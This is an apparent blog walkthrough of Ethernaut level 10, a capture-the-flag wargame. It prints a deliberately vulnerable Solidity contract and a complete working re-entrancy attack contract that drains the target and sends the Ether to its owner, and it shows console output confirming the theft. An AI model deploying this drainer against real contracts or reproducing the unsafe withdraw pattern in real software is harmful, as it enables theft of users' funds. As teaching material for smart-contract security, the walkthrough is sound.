This is the level 10 of Ethernaut game.
Pre-requisites
- Solidity contract receive function
- call method of addresses
- Re-entrancy Attack on Ethereum
Hack
Given contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
player
has to steal all of the contract's funds.
To those interested, the Re-entrancy attack was responsible for the infamous DAO hack of 2016 which shook the whole Ethereum community. $60 million dollars of funds were stolen. Later, Ethereum blockchain was hard forked to restore stolen funds, but not all parties consented to decision. That led to splitting of network into distinct chains - Ethereum and Ethereum Classic.
First let's see amount stored in Reentrace
:
await getBalance(contract.address)
// Output: '0.001'
which is 0.001
ether or 1000000000000000
wei.
We're going to attack Reentrance
with our written contract ReentranceAttack
. Deploy it with target contract (Reentrance
) address:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
}
contract ReentranceAttack {
address public owner;
IReentrance targetContract;
uint targetValue = 1000000000000000;
constructor(address _targetAddr) public {
targetContract = IReentrance(_targetAddr);
owner = msg.sender;
}
function balance() public view returns (uint) {
return address(this).balance;
}
function donateAndWithdraw() public payable {
require(msg.value >= targetValue);
targetContract.donate.value(msg.value)(address(this));
targetContract.withdraw(msg.value);
}
function withdrawAll() public returns (bool) {
require(msg.sender == owner, "my money!!");
uint totalBalance = address(this).balance;
(bool sent, ) = msg.sender.call.value(totalBalance)("");
require(sent, "Failed to send Ether");
return sent;
}
receive() external payable {
uint targetBalance = address(targetContract).balance;
if (targetBalance >= targetValue) {
targetContract.withdraw(targetValue);
}
}
}
Now call donateAndWithdraw
of ReentranceAttack
with value of 1000000000000000
(0.001
ether) and chain reaction starts:
- First
targetContract.donate.value(msg.value)(address(this))
causes thebalances[msg.sender]
ofReentrance
to set to sent amount.donate
ofReentrance
finishes it's execution - Immediately after,
targetContract.withdraw(msg.value)
invokes withdraw ofReentrance
, which sends the same donated amount back toReentranceAttack
. -
receive
ofReentranceAttack
is invoked. Note thatwithdraw
hasn't finished execution yet! So stillbalances[msg.sender]
is equal to initially donated amount. Now we callwithdraw
ofReentranceAttack
again in receive. - Second invocation of
withdraw
executes and it's passes therequire
statement this time again! So, it sends themsg.sender
(ReentranceAttack
address) that amount again! - Simple arithmetic plays out and recursive execution is halted only when balance of
Reentrance
is reduced to 0.
And for the final blow withdraw stolen amount currently stored in ReentranceAttack
to player
address by calling withdrawAll
.
Verify by checking Reentrance
's balance:
await getBalance(contract.address)
// Output: '0'
Hacked!
Learned something awesome? Consider starring the github repo 😄
and following me on twitter here 🙏
Top comments (0)